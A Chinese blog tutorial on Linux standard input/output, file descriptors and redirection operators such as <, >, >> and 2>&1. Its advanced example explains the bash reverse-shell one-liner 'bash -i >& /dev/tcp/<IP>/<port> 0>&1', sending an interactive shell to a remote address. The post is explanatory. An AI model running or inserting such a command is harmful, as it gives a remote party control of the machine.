linux标准输入输出以及重定向


1.经常遇到< << > >> 0>&1是什么意思

以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。

2.什么是标准输入输出

标准输入输出实际完整的叫法是标准输入输出文件。
linux系统中一切设备都是文件,都是对文件的操作。

具体就是:
标准输入文件(stdin),通常对应终端的键盘;
标准输出文件(stdout),这个文件都对应终端的屏幕。
还有个错误输出。

进程分别
将从标准输入文件中得到输入数据
将正常输出数据输出到标准输出文件,
将错误信息送到标准错误文件中。

3.关于重定向:

输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。
也就是说,输入可以不来自键盘,而来自一个指定的文件。
所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。

输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。

各自符号的重定向表示

一般程序有输入和输出,默认都是标准输入的,可自定义:
<:就是标准输入重定向,可以从文件中输入(读取)
其实就是将某某文件作为程序读入。(全称应该是0<)
比如:command < file

>:就是标准输出重定向,可以重定向到文件(会覆盖),网络
其实就是将程序输出内容写到某某文件。(全称应该是1>)
比如:command > file    
如果是:0>,应该就是将键盘输入内容写入某某中

>>:如果重定向到文件,以追加方式输出到文件
比如:command >> file


标准输入输出还有文件描述符,主要用于标准输入输出之间重定向以及错误输出的重定向。
0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。
写法:
1.重定向符号(< >)左边和文件描述符数字之间不能有空格 ,如:2> 
2.如果重定向的目标(符号右边)是文件文件描述符数字需要加&符号,不然认为是文件。
3.&还有将错误输入和标准输出合并输出的意思
比如: 
1.> 2,意思是输出到文件名称是2的文件中。
2.> &2,意思输出到错误输出
3.bash -i > & /dev/tcp/192.168.1.1/9090 ,意思将标准和错误都输出到网络中
(bash -i > /dev/tcp/192.168.1.1/9090,只将标准输出内容写入网络)

例子:
1.错误输出到文件file
$ command 2>file
2.输出和错误输出都输出到文件中
$ command > file 2>&1
3.从文件1读取,输出文件2
$ command < file1 >file2

提升例子:
bash -i >& /dev/tcp/10.201.61.194/6767 
1.bash -i:生成交互的命令行
2.>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出写到网络中
3.0>&1:键盘标准输入写到标准输出,
对整个命令错误的理解:输入写到网络中,那么就该是:
0>& /dev/tcp/10.201.61.194/6767
正确理解:输入,标准输出,错误输出都会写入网络。

特别注意:0>&1 的写法!输入做输出!

 

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/288051.html

(0)
上一篇 2022年9月7日
下一篇 2022年9月7日

相关推荐

发表回复

登录后才能评论